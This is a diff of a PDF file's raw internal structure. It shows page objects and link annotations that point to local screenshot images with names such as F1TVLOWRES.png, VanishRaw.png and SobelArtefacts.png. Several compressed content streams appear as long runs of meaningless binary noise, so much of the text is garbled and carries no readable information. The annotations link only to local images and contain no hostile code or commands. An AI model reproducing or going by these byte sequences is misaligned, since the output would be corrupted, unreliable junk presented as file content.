+/Filter /FlateDecode +/Length 2346 >> +stream +xZێ#}WL~ A`0 8N8sǟL.U3Z)|>r)wA1ǹ,̈`I#9۫`NѶn21%⠿6K>v?;LGy}¹s񂊟!i΍nflǤ~?EKx6&m{ XhhD3Ѓ&{s,'* L%^:$7%y0g5(g ZjUL"7m. HgXL"6ʴ4o6fpKbyU(rD=X *B) +Pυ:T)`͒X8? IM۽q83wU?GOր":6q9̌CH3e,gk}(T +#sg^VdtfO{Br˹i]9J]4A@*TXDP^#oá5ѓ8\., hhT0ky#[ Y1"}$(2*4ȡנH$+\C cJfath.)(LVtlcAq+eWݐG +o^'8eTZgհ3 (W X(\x /((dKM ыGF7Sʪ3Ud̙ "xyHh K +aIۡ*\NZj&W+1-Eޚtr 9GNlndq[v Yg|%y.b`D-Z ={Cq:Q*dUG>r7Z̝ZXᾅttI'VGzc/b}Н[s"@[LFqFB1$PwJHk<>B=xЮ7EX^ynj +6бvfì`U2mf %sf:w>]ׇzTG~W|oH(y~k˩QD@P)~30'8Xd9 ǽ֗׹l]gP=i[e{kcO +aGNx';vy[/#Ae@zi83*Hb/ bĀT$tc*G]!jRۚ!{/ =,`bS,H/ `J_xC`ы9o;9\//@~UE,n}I2|y@vVwu)4U0}98gsPٷYya~kAyD#QMOcN.:,C.{u> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11_1.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 753 0 R +/Resources 4 0 R +/Annots [ 755 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 755 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 251.357202 118.466457 182.357202 ] +/Rect [ 39.386457 256.029702 39.386457 241.015302 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Diformed11_1.png) +/URI (./Images/Screens/F1TVLOWRES.png) >> >> endobj 756 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 182.357202 297.637795 169.954002 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11_1.png) ->> ->> -endobj -757 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 134.294802 37.466457 121.891602 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11_2.png) ->> ->> -endobj -758 0 obj -<< /Filter /FlateDecode -/Length 2184 +/Length 460 >> stream -xZI+Wl4 Ĉ}s ȡRdE6eޛff嫯RG_*!DᏃ$;y|q0^ڻc†BZ.@C?Zǟ:\qu[o>q_6Yv.7?~b9V<1+R; Rٰ߽ՖQfX%1j!% Kq4!;*NަJ /./.3TRPޯ_" MG0W_۟C bRz=ߘ߱% -4m BKM^"ߍ{Wď_/K1iTv}IVavZX̶~ .b Biqqpu4?{:nK2YзUo^k]aٌuw1h̷UF -..^y*>tp+UHu:q= ж6Q~&،mK.2p6,UEm H 6ۂB]@}mx`UA/WSŮ -E8[Qm?:ݚ)H4$q V6ܺM_oAFDE'UMC#p:D9q`Wb]+?g;2:kJd'%KRd蟘Ym#4]'K0OK(_i zeÖkكJ(e0O2{6yjʡ{mhV8f\"RZ\d-a!Kgc0*Pe{f0f`FHSd;B}nݖQùWsdGik;\WxoaR Kq".\3#t \˚UpgWq9po1k0%+OG Ko3Efٷɖ,4lcgdܨW7P{Y_UɡKK-6|<Ek6Mɚ]Fȓ[T9ɜs.rGDʶ,<^[Y7#eZϕtGBq<~QMc0c&=J!P@H' [T k сlMdsErsr8c Cs{ zOˏ1˹İ*LR{9Q{]:ra{&QZ@Ldnss&';sT&t#J,f}ϿxOCoTW5 UWL^=]vHN}E4ᇬ1-ZہF? 2Hs#kJʦn'=;aOv@gc.5܁AN6:gF"=y8 {>t'=R4ԞEŨ>oj4R!?ʥ_E[/sC@A8C^t#` (E0~Q -v(K +xSMo1`:=c¥"d8jvB7-'I{>{3دܫdŏ| {jVBMk0qᨸTTq4ZU%c6 #estpkZQhzڹ<+ZܩX/ZL)eaNaK[`'zlR6پ."V*XZ$A:&p Z3kM> endobj +758 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 265.935369 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVLOWRES.png) +>> +>> +endobj +759 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 265.935369 297.637795 250.920969 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVLOWRES.png) +>> +>> +endobj 760 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 118.466457 702.023622 ] +/Rect [ 39.386457 183.356169 39.386457 168.341769 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Diformed11_2.png) +/URI (./Images/Screens/F1TVHIGHRES.png) >> >> endobj 761 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 702.023622 297.637795 689.620422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11_2.png) ->> +/Filter /FlateDecode +/Length 441 >> +stream +xSn1 SH8mKE !3[%$erB$&8@/?9NߦB-a%i c6cl`Q$,BLS;.Q40 {28x?])V~ҎQŪhqISQ9`';]A|ȒY-">n^SZJ5A: +6/(.^A r8| Ц&q>]c"xBR4f)VqWl(WĂXb':NB6.csU_; 7`y6gQ@ŌUҞG̷2JVrQb3t +7sŐ5}F\ #6?m{?U/VkJGOAp=tI>868U݋d +endstream endobj 762 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 633.806022 37.466457 621.402822 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11ButLess1.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 761 0 R +/Resources 4 0 R +/Annots [ 763 0 R 764 0 R 765 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 763 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 633.806022 118.466457 564.806022 ] +/Rect [ 39.386457 771.023622 555.889134 321.563676 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Diformed11ButLess1.png) +/URI (./Images/Screens/F1TVHIGHRES.png) >> >> endobj @@ -11517,14 +10473,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 564.806022 297.637795 552.402822 ] +/Rect [ 297.637795 321.563676 297.637795 306.549276 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Diformed11ButLess1.png) +/URI (./Images/Screens/F1TVHIGHRES.png) >> >> endobj @@ -11532,131 +10488,136 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 516.743622 37.466457 504.340422 ] +/Rect [ 39.386457 263.382876 39.386457 248.368476 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Diformed11ButLess2.png) +/URI (./Images/Screens/F1TVHIGHERRES.png) >> >> endobj 766 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 516.743622 118.466457 447.743622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11ButLess2.png) ->> +/Filter /FlateDecode +/Length 1031 >> +stream +xWˮ$5 WtuX lFjbQ]}{ /elh$(So惹Xv7D9BPeNLkNEVΌ^//ü^ *}°le<@5QF:RKnjBzWsӵ R~sSQ Ѽb<uu|kK@Z_kcվ6gZ[k˶sQA${>[b*k04lg+eXpcoՇe+Ow|*8ILMZv1;aaqDA"c#40 >`ʤnl ]TD l~mS߳؆HGr3 +臀Fa(c~@'4>Da'8ODvuw]YDsq;h?yKl9lAP9q 5 ! +Y9tNE!МxGEyT2+ +Gl 1J1/< V8?lRV|0jD\(hv8o0DBɖuB\$1=paQ ,.-!0D*bO.d+ގjӴqWvFmz. h(\dwgp:Gb!, beṽ''/*R]5y1XO Ns^ʁ}dy! (&:tSý8k'eʋh19 LdI鮣c:0h'=d8&|ML ___*/`SH48&Xe? \ +endstream endobj 767 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 447.743622 297.637795 435.340422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Diformed11ButLess2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 766 0 R +/Resources 4 0 R +/Annots [ 768 0 R 769 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 768 0 obj << -/Filter /FlateDecode -/Length 2978 ->> -stream -x[K#ϯـ|? b`;0rj,_ $"?V-i vflyk Fn!Dy+O1QnUޝL2ēaR(.jYy/yTj2`yʿYn^iRכVbS^Ĵh 1p?pY/,Jd3mΕ{. cj'@wkD9q%}*{s,$t7e9ٛԥpVJs~o.]Mܧח?wb.B|C>߉4nzgC|wo9}~/umNp3/۵6ݫx32O+va +B'1wbђ<կFe!bc\`ׯg.b>034"so㼃!7ucC!B#Ю6U<Юwi'vKcyb(DOpFw`BQ^B.}B=MWۺf|$ci AÐkDɑFQ -セ ABʘ]emjׄhx T -&B BJ"f< GiA9Wè'Fk?w>i.dzl)f1Zd݂66YBM$LSKD1Ӆa! -i2 V +o]yG6=C:H$F ȯՅsE.E@\̯͊^ $Mp@E/gtP6 ]e0 HCt`5D|GIBP7zoRo.H -@ G(%Ĩ."ޚvyc"4Q)5BsS/xBE1.;,xNb 76HTL_X`{KMI(tOk9Dޅa`Nuy~PyZO<ƣgQ˜NUKg͹rm\߻Z64<ŕĕ=G -sVk#1)PUעy-̚C,y0ҞaѮuz3!=K/?}{Ibݍ.|x^ǨIV;.3nuGFi*q(py>X`qGWr:$-w{Kg1Jm]ngQ\KVU9t4 -f]?[i ȋ%2[9(|.bExj/X[t[ c^1qQذ2ԈXX-3kJN7 -H<N@' ;: {pN|C(PAkI*la/L:Zn{+8)yY4!"AcBbh ~,BE!"0B -[&,w=mDc5XU2}Mudf)xN&~Z1G)msӶi6AQ CyD1{e_iXZZ{1kj˭{Z53@0~dt^i݂z2>lsF_q;c52& ֡9R΢92m%Va;?~߰gF k ŨM[=}@TDZg[֥d((@r¸ǚ$>۳ҏĆ.fU$ve%`At!l"`uj9"Zl2maPX[J$:E-IKlzTNPVztlʺ]у{k+Y(Oh4M{,T 6p=ʀՓ2֡z pɝӭD\f3d8 -? Ϋ14"dY}} 9&/;Pjb'th6¡'?mgjG!˧%ͩ6(&y"h?I-)?7иꚁJa*B+!AļUrɖ#쎓vFfpB!F=YRձ+:VVfg9[̼ڞG~ޣ h,+hhNÄZ<=Boi,A-hSWtY"46C3h|GOGZ]HMFlghJuh=Ww!w48PGkl?efPd wYUˮPJk+kaeM+X߀IK[ݶļ!N>SWCO_}'<:֍-uޖ#|U *, -endstream -endobj -769 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 768 0 R -/Resources 4 0 R -/Annots [ 770 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -770 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 184.319322 37.466457 171.916122 ] +/Rect [ 39.386457 771.023622 528.386457 263.273622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsWindowV1.png) +/URI (./Images/Screens/F1TVHIGHERRES.png) >> >> endobj -771 0 obj +769 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 263.273622 297.637795 248.259222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVHIGHERRES.png) +>> +>> +endobj +770 0 obj << /Filter /FlateDecode -/Length 1952 +/Length 2551 >> stream -xZK7ϯ!^$;6!ӻcyC$J*ٱ-!߯Die3 <͗}}RYҚk/V8&*TV埧Ӈӟ8z,E)ob|:^˧OװоT:B.6LwRx '홇 {s[ۍrëfcgRg&aA fXEcdoY%" "F,adv90oW'$7OB?==u5."Yg0K`9gaV|Δ(,/o…:<%"ltu 6 vFR:| \k $\;PU:.ŏ mg^hP~3*'*9\Q~nv}gn7DY^Df^vŹ>6xiskT9MhtU|]сq T[$yd샭]) c)}% J5 DEq=G{0AKc᢮ 35!6d(gHJ N0,g 1; TSoyIC^WV F()~.d%G[+D90Ҋct%ca%$NىD -V&s̱Ŏ멣&-$-w/Mx|42`3(0RsPU@ti<ˢkib7M~@ޭʈho2W=V[cA=()QJ54 -@#ն85}@xc۴k4@bPL)nj!Lޱmѓ/R dC\%?kJ=XNB4e! Rn}]aX^9pyΙJ;$]u2Xi4L)9n6G?Pwf>|4 g'I0Uan5K̛۰ f{ܙI4m'kzjX;tV:4{Y7\jtJZ]G%ͨ9$C n| ]Ma,vH4"9mp 2 ;OӆzVgQם&Io|{[T誗iɒ&Ib a_Ʋzz}fsx$lU~WIhvg!k EA{aPLa_-% Pq=}4XRǿnf -.Ț#D=Ʃ$$gN2Wކv[ ;2{^HԏΔ#uĨ΋FxZUHΡ tj{(jf洶ch":{B|sR_~6^L4Z{f"GxSέ6ozh [GcXH7HkHQMX{RjzGR,TtZVFb֯:z -DQq1Hei=8vUV -AA N9ʛ2[o3Fy}Si9abySsy"g/԰$wc=7,ρIKS14yCz'›kx-g!Sr$~MlBV?1yN"R(McZf_y㴑?Ƴ2:+s'{0B3u+3s>/ac`+{iW꒎I{v+< +x[K#W0X!Hrpr10A9H,&%ͬ;k.}UlZm~P`!zg/'):1R􇗓8fH ӧǏJ鴔韟ԨR__oy,xP}l~VSc3Iϙ&/ݳО=Ek,zҸ*8_v=gIk.yXzhT{6W,c?W_ؼ$- ?UOʎaFHR, }̦\yaeA#ˏy9®l}a0H!,X΀ +KfM\7JA*#Qۉ 8Tn:C ,N[Utz'izYk-XiYp)Wv̩d 2 TV TH3PYϲckP趔% BI{jI: t1Nfg>)^[:^Kk-CB:< h#H( ++t} "Μ͂%rw.X^&:J!AWe@?K AQCS =LJ:*Y.+hzEf'v;1`V|cz[R{3Z˂g}?AVby,uj"Bbrek3Ď6w(}8#CvbPψOPBt( +zHhe, dƼ@g"J.fjA5P?O|x=5Ez^$flj;*8 +N.V0ꛇEF%c;:JʮA*zݓkǃ 0 +  rZ /)G~~Qəi$l ]087!hV}0d>/#BCV[*ݶ7ԫ|`]!;Y;/F$'{X1*TlidnIzp8G{͍ {nGT +nީ{^gYGvx +;_E ڕ?c&V~/݃-sͱ@N^=8l.;y& ++stz&if= s :#Xz󉟄nO; Ѹ`*.=-̺D)0rNP}ͪ>ZXnj7s  P +碋r"IV#ٶ +؇)0j5+TjfE> kCNi[sԋ!Fr 2xzg1W%YM^"ѐ歘8 =@ s +ޕj6Bpz2Øj(մع`DS|d & +V?.3߭B1xx_ 'Q8pU<#W`s`pZwek;~hJ(3j!E@YvnUyу脏n-磺yoma:}0\&.5dKO(+«娛qevrl6ڷ6CozĴ'Y˧18W=07BNhDwW:T:q h(ǧ<8g΂~^v;(߷`tLf 1h)Df{wXOVq3=RI tJf5'KCCXp3V&j͇->Ļmjc߾Xl]/4փX>v& _:fq!1bŰygD>L7׮=9<1L#Vi;n{l^Р/љ!x)Vtآ4z-5WEy;v 2Iw6f\%/ 5[AVޏ_}~xБv_v6lߛ?]Qa(2ap!RvVEnΟ#>7ʺ@)Uc,V/kb^(\d+ Yd3qȱX,+h' Fqp!0Zap-#4Q +y5u`uv>S01>}ODwl3=—e^zaǂx5`0U![c=Ozl0̇2obMd'C + +:.U1+KP!9Jʹ+t\ Kz֨1;t?B,ٟI<\ endstream endobj -772 0 obj +771 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 771 0 R +/Contents 770 0 R /Resources 4 0 R -/Annots [ 773 0 R 774 0 R 775 0 R ] +/Annots [ 772 0 R 773 0 R 774 0 R 775 0 R 776 0 R 777 0 R 778 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +772 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 350.620422 39.386457 335.606022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishRaw.png) +>> +>> +endobj 773 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 482.598382 ] +/Rect [ 39.386457 350.620422 181.886457 304.120422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsWindowV1.png) +/URI (./Images/Screens/VanishRaw.png) >> >> endobj @@ -11664,14 +10625,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 482.598382 297.637795 470.195182 ] +/Rect [ 297.637795 304.120422 297.637795 289.106022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsWindowV1.png) +/URI (./Images/Screens/VanishRaw.png) >> >> endobj @@ -11679,120 +10640,140 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 121.477282 37.466457 109.074082 ] +/Rect [ 39.386457 245.939622 39.386457 230.925222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/F1TVHIGHRES.png) +/URI (./Images/Screens/VanishGrayScale.png) >> >> endobj 776 0 obj << -/Filter /FlateDecode -/Length 457 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 245.939622 181.886457 199.439622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishGrayScale.png) +>> >> -stream -xSn0+޵+UCR)$!yTI m9!<^Ό'QcnEp?PLh=K߾ŸĢyNVkZz0`Q$f! _7hDV-03{Ephn8R9,(գ'EKh!L%(wv9zR1VBJ,22*Տz`rܰ@qk&qbH޿}MHi9}!EiDW5EƅH2unRS̄;AgGT֐)*ܒӑKk;FuF!K ڊ3I cr#fJ5z{jIO.fF70i{ m9!|QGuV Z'@PKb'U-[;nJ`ߩ -endstream endobj 777 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 776 0 R -/Resources 4 0 R -/Annots [ 778 0 R 779 0 R 780 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 199.439622 297.637795 184.425222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishGrayScale.png) +>> >> endobj 778 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 318.222114 ] +/Rect [ 39.386457 86.831622 39.386457 71.817222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/F1TVHIGHRES.png) +/URI (./Images/Screens/VanishVanish.png) >> >> endobj 779 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 318.222114 297.637795 305.818914 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/F1TVHIGHRES.png) ->> ->> -endobj -780 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 270.159714 37.466457 257.756514 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/F1TVLOWRES.png) ->> ->> -endobj -781 0 obj -<< /Filter /FlateDecode -/Length 1132 +/Length 2127 >> stream -xW͎6)a8'`P=pEvI萜!G,R{%7I4~KTJ97->^X x}>٨b&);RIhc;ku<~=}*1[)N(9$_fT_>Ϡ 5S~c4 1)cBu=*ԇpϷ|Zyosm-Y50V+9nɡyChᗟ~hem(IO^d# -!Ƃ;"%~-h[-Kp,(xoJ~ޕwh"Ҹr.$G2Uw"9ۻy=@mG6va_[׈xX'(g_!?}>?gY9zֹ2~8M*:y o,j%MϬqnݙS -+8$ u;n4N!OoIWAkl1NvQSه'!}@+HQe5ǨF@EoKГdEp"xy%TqȲϒLs.ҚV$V҉dzXޅ#m-t>:յ !+: ڐ -'gۙ\3^^q? T(UUuQLϙɷ]\h ~d`_Gk=\҈w ^K8 VX晥xyC_p@5@=1s[ -m[)^:m5_@sH6 R N+$x黱2|mzTT6+~>Cx/W*7o B!!|K@"뵛^;FKDr7eD$k!su/wEOٷG+(ݤp0>@b[<=<<[gsJyDxB+>UZAL(W-5ˌ8}nt:yV1*b9gb<+<}`6GP>!#Io`H%9K ˹LflUX3`B ?={ +xي+_ρ(8nHr`B.c@NZ%Ԓ3913ӖJ}?^ }pV/'Μ 7i=~8)\0%h>,Nx& +bF+SюP*1B.[ƭ4W%boͲa[䌕 {{f]bL*mPp(Pg9>4|خWW+Q"D,#Ȥ gAX͈6y{tke[3I~?( }٨`7\{'7~׋dw[WH%Y+HIW$h:V}zˍgWݟrL^7dXjX;woy?zG3-3FtXvZ0R{z<;ຯIdus>Z!Rv o:]Zof MMLE=F9a8KSK0xRAzŎ7p_Xj3[UDeFy?z=5(+Ky* X0VE"i1!$Tz2 + :cJkӄJ](K :e8TFkQ&[[9$>YȎ!;YV h$%# ⻣P +uW˱įx, +?Tpf +u1)UE{J +ä`d(P/ވ,Y<׊k *V-ʐ mh>tyݙ3+n;gAPW9@bVI}~.h3L߲Ii)ρwk4AifUXU#ӑr)?hB1U<3ސ 1h/;z4q؍i-O6; +& NY}4xMV~3y\:$(a:/Ԓ&Quۉ7}@Q}/U;$m%5!ަ+Ɂ$M +}$ ]ﻲЖ4J]$jQKHQX.73Z&U*KkUIKD2/t +T@GԺ> vC스Twڮ|9z+AAaR:m]=QgXk^0P4We*Vy'iLf'%9IfkJIn+%-jq.]Tjɵ +?ֲݝ8q\j03<,%j"8N WNE_2 VzL:tT8q0Z/<8kjDJ{RSy)Ʋ.a]_>5Vk48)X hF}j36wk"uSuZ__?cuJ1ϭ~fE-ZBJNJP0.v:xѱ9vSP4)}-XГ9Q%Dc0cG 񳈆NIt$O +1]#AXؐAѤf'JA*MmJ+%ZY[$)ǽ(쵻:' 2yZa6)"Y;&>]9ݹ:CQ!Ecr|WNP)l&َ3bg~Fٌ6 +ctgtjߠd!@4mI7kk谸P0O%CFz7943b-DIx$Vz@ʭN +TҜ5pUSHLFoMvɣ'N(`rXbו%7hqݨ}h'+ +cXd>y 2*|c(sB~7dBZA5j wڂ t֔ThsH^\&>,(ZX!"|p؇SLf̑4VPgTSśϮf*CA g!< :!}Ep,pxe͌ L;hR +L_BMKP^67r,}T,XmãW1Ln_3+rcgT*իHv!<e/\H Ce vTTVi x endstream endobj -782 0 obj +780 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 781 0 R +/Contents 779 0 R /Resources 4 0 R -/Annots [ 783 0 R 784 0 R ] +/Annots [ 781 0 R 782 0 R 783 0 R 784 0 R 785 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +781 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 181.886457 724.523622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishVanish.png) +>> +>> +endobj +782 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 724.523622 297.637795 709.509222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishVanish.png) +>> +>> +endobj 783 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 262.180231 ] +/Rect [ 39.386457 351.040422 39.386457 336.026022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/F1TVLOWRES.png) +/URI (./Images/Screens/SobelArtefacts.png) >> >> endobj @@ -11800,132 +10781,120 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 262.180231 297.637795 249.777031 ] +/Rect [ 39.386457 351.040422 211.136457 302.290422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/F1TVLOWRES.png) +/URI (./Images/Screens/SobelArtefacts.png) >> >> endobj 785 0 obj << -/Filter /FlateDecode -/Length 3314 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 302.290422 297.637795 287.276022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SobelArtefacts.png) +>> >> -stream -x[IcWl4hH8`;r#_fp"|䓺hĵU"8kZ0xt|rG!~>c.1h>L.U,Tw_?~:ywBJfDޤᛳ`˿8Qs:{CAL&]+F!?}l}_62_h+<"*6 -Y^$_en m$M{IǮXnR>rMu8ob r1gSGcSB8OoGa(|;)NdwN<\RI;GUF~ǞzD+eIsay,IX3d>n@*4gG\?; -Δq4nDRh,Tەgcmd,Tꯥ,t<Ԏo]2U~ct|Ɛ}Pzsj>i37@/u9<qW8yt@u. Q@(^`Hjs1fa!c,$tIjH&Kl@:Ikg(\$}>+y 244R*orє3 - s뛞k;=ȍ2NWlǼ%q!֊ UD^2|k"FcxenJ!& -6\s@Ɋ1z*+9p)ܚnj&) nQUtb^%2)C L y%R뀈rMtLpet'5ե-^qU<$ |Bv jG6ݨ^+Bij#9y6&ʲkiچM682Hyf( C 3vIh'PX#]3 R0:dcN^C]d#~ɂ~%:@STqBG (jg -f͎j71<4ѸP8쀈_Pju`(:IĔ&2si&mk1Y qpO%Iu2$7p0iuiTXR@,vO34&l۫S@XC\g)e%͖&;m$_G܋C+yv!q̝E]bHyN՞l3$@~Xfכ>,;\i\w"]0P;DqpC5;06نO4k.}$Dd:\Zpi!˫?h}E^>cJuQX$}eB!?zyq D>HI/7y`gneB 2HiNFC&J_7^g`_Om^v̗Š0=񄝴D-~V5>] qyq5u=Z)u1Oj]׬&KVYt̗iW) -<Ƭ5/a<8 -7) =୛veV AbeDWUn4f9O ,Ql1T۶г^ K9Yު8!\!Dd$e\ov'Bm{,#4 ւ;1MPܪ3,Iޏnp?[$W[7:<˲]G f% '<7eYa=S!c/1%NR9{m53GcΎ$1[nf!jdƳlE5Iӎw|t>YzC3A,aۊAHᨷʇ}yD=#&"SMns7!IA\q.tӱV0ip\ l4Vo:<"iy|淮h;h J_O\ D -uYmƻ?}zm$9ݬS)Z6' eAˤGk24h] kô,Ĩ^r 1ƓA&GLㄽMis&r&6Tz#4S Fk U߹qRj=5ԝzd9|`z" S6TQ\;ܳ` C1tVѻn@ 7q?(n|[<=S(K"7Jn[&iLI#oz:uOi rܻ~E%>J,i3%|AAټgf&if`AoL(1Gú^hꚽu.}}_`ڕ\,N2N!4­ɫ$4ܔ:f\n{/P )&hfƈQ`ƈ(>Rz%ÙUa(nhaJ^q!|+m2"0PI^ZdфE>3a1_gRgMTrNcKP>ry-xlgsݻ?/G3P},fW 9$ d \r(aTL l=跹zOf2;uIfo&dSa͸LEkZƩV13 s?y r+FSel%!`%/J,1q;3K݀ snNG 2p -{F :jȎps1 }5N5L 6˹3t-~!̃j nJ6lׄ߇\f "|Y$E_q/5G"Ki$x0ZFb5a廬TLjL2:Ũ駿09*xj:1[Uziv0Ke] -ТbR63*k2}.z0ŧ2d $) \}\r'瞈숖 -endstream endobj 786 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 785 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 2099 >> +stream +xZn7+2^mi7\@х$[Ai^C7 Y7IZ5Wr;XVΙK)Wdv|)^1¹8g%~xz{+[>sw!ak"LĉWQę[pN/?owIyxKu /3sMmsn=6_65 Η6m>=w0'Wb=*,d2$͉(MD,6 XVA9i# +ru $]Qp($A|蒤z%Ue(T!w{$:&`m+OqLy%Yry5ZR:KOҭ^KUn#̩<807q2^22n@ғdE!v˵olag]/1:IݷKJP";<8,8Dg: QA1ʨ<=p̳sjʞY(RylpU̠H%&8dd( ]A~:+g; ծ_0G] 2fCu%n;6f@%Fw+Xʈ,f +8 +>p4'9SumQI4~ -F1)]廖eS3)Upѹ(I02c ~@U}2G( H#v .Jgo(V4=_R*x@:9&h0*u{oG%H5=N3E n&tJs7(]`q@]9ͷ vtKr#{v *yӟQnRL}Zp\g29K@KMgM*T*̦s4JQD[ %MȦgu4e ;F92 )1~9VW2>&kzgHףFYP>_~\n4h7EFFL&BDһ4_ O-: $ g<C 2 Ft |Iﵼf!K58>3xl>ù(NYÅ#dM) ΢U7~ԭ*4F]`ȇSe.17B> -stream -x\ˎWp%1dӣF - ,^EVxc f8A>8.NO9ܣo?O1t)h><9\ب3Z)~p? 9ΝwOBHɌ֛C!b?? Zl nRF/mZ_8s'.|fGخ}|ؾ=gY1^7q,/۽GmnYK'QhO4F__ ͮ'4~~5i@Khz)sF~zc,MQ$nFfucBTUi7miQ"*/gE`SP='4Aehue.cҜ6?oS -""y6;}Hy >zE_9i]!]+Etڪi/T1h -z2wX#!e!FIk:tPe6q3"TfيLy. e"tq`~j=jPPB0\RZviyfz *@qtM -C[Q 4;|0Mi^΄|S0+ 3W<)+ZEkcW] *>(DOgm P&n*/S#I~4IqBϗ*;W8f5ya]2XzD蛵| -\; )x)tUš<1QlJEtQ3#ԵGDC4Cʪ4_oE]7(c O \Zqd ݭ@//.F'AXݥ<<'|rhq4U e$_UQ>2Ϊ5}44T MsgJ3o4qѥ - 